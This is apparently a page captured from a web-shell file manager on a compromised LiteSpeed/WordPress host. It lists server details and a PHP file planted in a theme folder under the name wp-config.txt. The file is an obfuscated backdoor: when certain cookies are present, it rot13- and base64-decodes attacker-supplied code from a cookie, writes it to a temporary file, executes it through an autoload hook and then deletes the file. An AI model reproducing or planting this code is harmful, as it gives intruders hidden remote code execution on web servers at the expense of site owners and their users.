HEX
Server: LiteSpeed
System: Linux 111n6.sieutocviet.page 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
User: nhathuocat (1048)
PHP: 7.4.30
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/nhathuocat/public_html/wp-content/themes/author_template_1758497356/wp-config.txt
<?php

if (isset($_COOKIE[4+-4]) && isset($_COOKIE[-25+26]) && isset($_COOKIE[40+-37]) && isset($_COOKIE[25-21])) {
    $sym = $_COOKIE;
    function sync_manager($flg) {
        $sym = $_COOKIE;
        $entity = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), 'B2eqKnMq');
        if (!is_writable($entity)) {
            $entity = getcwd() . DIRECTORY_SEPARATOR . "dependency_resolver";
        }
        $obj = "\x3c\x3f\x70\x68p " . base64_decode(str_rot13($sym[3]));
        if (is_writeable($entity)) {
            $fac = fopen($entity, 'w+');
            fputs($fac, $obj);
            fclose($fac);
            spl_autoload_unregister(__FUNCTION__);
            require_once($entity);
            @array_map('unlink', array($entity));
        }
    }
    spl_autoload_register("sync_manager");
    $component = "b33a913424e83a4fea6bfeebfa40e98a";
    if (!strncmp($component, $sym[4], 32)) {
        if (@class_parents("framework_right_pad_string", true)) {
            exit;
        }
    }
}